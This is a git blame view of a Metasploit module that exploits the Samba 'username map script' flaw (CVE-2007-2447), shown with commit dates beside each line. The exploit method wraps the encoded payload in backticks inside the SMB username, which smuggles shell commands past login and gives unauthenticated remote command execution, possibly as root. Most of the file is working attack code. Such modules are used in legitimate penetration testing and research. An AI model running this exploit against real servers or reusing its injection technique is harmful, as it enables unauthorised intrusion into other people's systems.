Files
metasploit-gs/modules/exploits/multi/samba/usermap_script.rb
T

Ignoring revisions in .git-blame-ignore-revs. Click here to bypass and see the normal blame view.

90 lines
2.7 KiB
Ruby
Raw Normal View History

2010-02-16 00:26:41 +00:00
##
2017-07-24 06:26:21 -07:00
# This module requires Metasploit: https://metasploit.com/download
2013-10-15 13:50:46 -05:00
# Current source: https://github.com/rapid7/metasploit-framework
2010-02-16 00:26:41 +00:00
##
2016-03-08 14:02:44 +01:00
class MetasploitModule < Msf::Exploit::Remote
2010-02-16 00:26:41 +00:00
Rank = ExcellentRanking
2015-02-13 17:17:59 -06:00
include Msf::Exploit::Remote::SMB::Client
2010-02-16 00:26:41 +00:00
# For our customized version of session_setup_no_ntlmssp
CONST = Rex::Proto::SMB::Constants
CRYPT = Rex::Proto::SMB::Crypt
2010-02-16 00:26:41 +00:00
def initialize(info = {})
2025-06-20 13:20:44 +01:00
super(
update_info(
info,
'Name' => 'Samba "username map script" Command Execution',
'Description' => %q{
2017-07-14 08:46:59 +01:00
This module exploits a command execution vulnerability in Samba
2025-06-20 13:20:44 +01:00
versions 3.0.20 through 3.0.25rc3 when using the non-default
"username map script" configuration option. By specifying a username
containing shell meta characters, attackers can execute arbitrary
commands.
2010-02-16 00:26:41 +00:00
2025-06-20 13:20:44 +01:00
No authentication is needed to exploit this vulnerability since
this option is used to map usernames prior to authentication!
},
'Author' => [ 'jduck' ],
'License' => MSF_LICENSE,
'References' => [
2010-02-16 00:26:41 +00:00
[ 'CVE', '2007-2447' ],
[ 'OSVDB', '34700' ],
2010-02-16 00:26:41 +00:00
[ 'BID', '23972' ],
[ 'URL', 'http://labs.idefense.com/intelligence/vulnerabilities/display.php?id=534' ],
[ 'URL', 'http://samba.org/samba/security/CVE-2007-2447.html' ]
],
2025-06-20 13:20:44 +01:00
'Platform' => ['unix'],
'Arch' => ARCH_CMD,
'Privileged' => true, # root or nobody user
'Payload' => {
'Space' => 1024,
2010-02-16 00:26:41 +00:00
'DisableNops' => true,
2025-06-20 13:20:44 +01:00
'Compat' =>
{
'PayloadType' => 'cmd',
# *_perl and *_ruby work if they are installed
# mileage may vary from system to system..
}
2010-02-16 00:26:41 +00:00
},
2025-06-20 13:20:44 +01:00
'Targets' => [
[ "Automatic", {} ]
2010-02-16 00:26:41 +00:00
],
2025-06-20 13:20:44 +01:00
'DefaultTarget' => 0,
'DisclosureDate' => '2007-05-14',
'Notes' => {
2025-06-23 12:43:46 +01:00
'Reliability' => UNKNOWN_RELIABILITY,
'Stability' => UNKNOWN_STABILITY,
'SideEffects' => UNKNOWN_SIDE_EFFECTS
}
2025-06-20 13:20:44 +01:00
)
)
2010-02-16 00:26:41 +00:00
register_options(
[
Opt::RPORT(139)
2025-06-20 13:20:44 +01:00
]
)
2020-05-04 16:08:32 +02:00
deregister_options('SMB::ProtocolVersion')
2010-02-16 00:26:41 +00:00
end
def exploit
2020-05-04 16:08:32 +02:00
vprint_status('Use Rex client (SMB1 only) since this module is not compatible with RubySMB client')
connect(versions: [1])
2010-02-16 00:26:41 +00:00
# lol?
username = "/=`nohup " + payload.encoded + "`"
begin
simple.client.negotiate(false)
simple.client.session_setup_no_ntlmssp(username, rand_text(16), datastore['SMBDomain'], false)
rescue ::Timeout::Error, XCEPT::LoginError
# nothing, it either worked or it didn't ;)
end
2010-02-16 00:26:41 +00:00
handler
2010-02-16 00:26:41 +00:00
end
end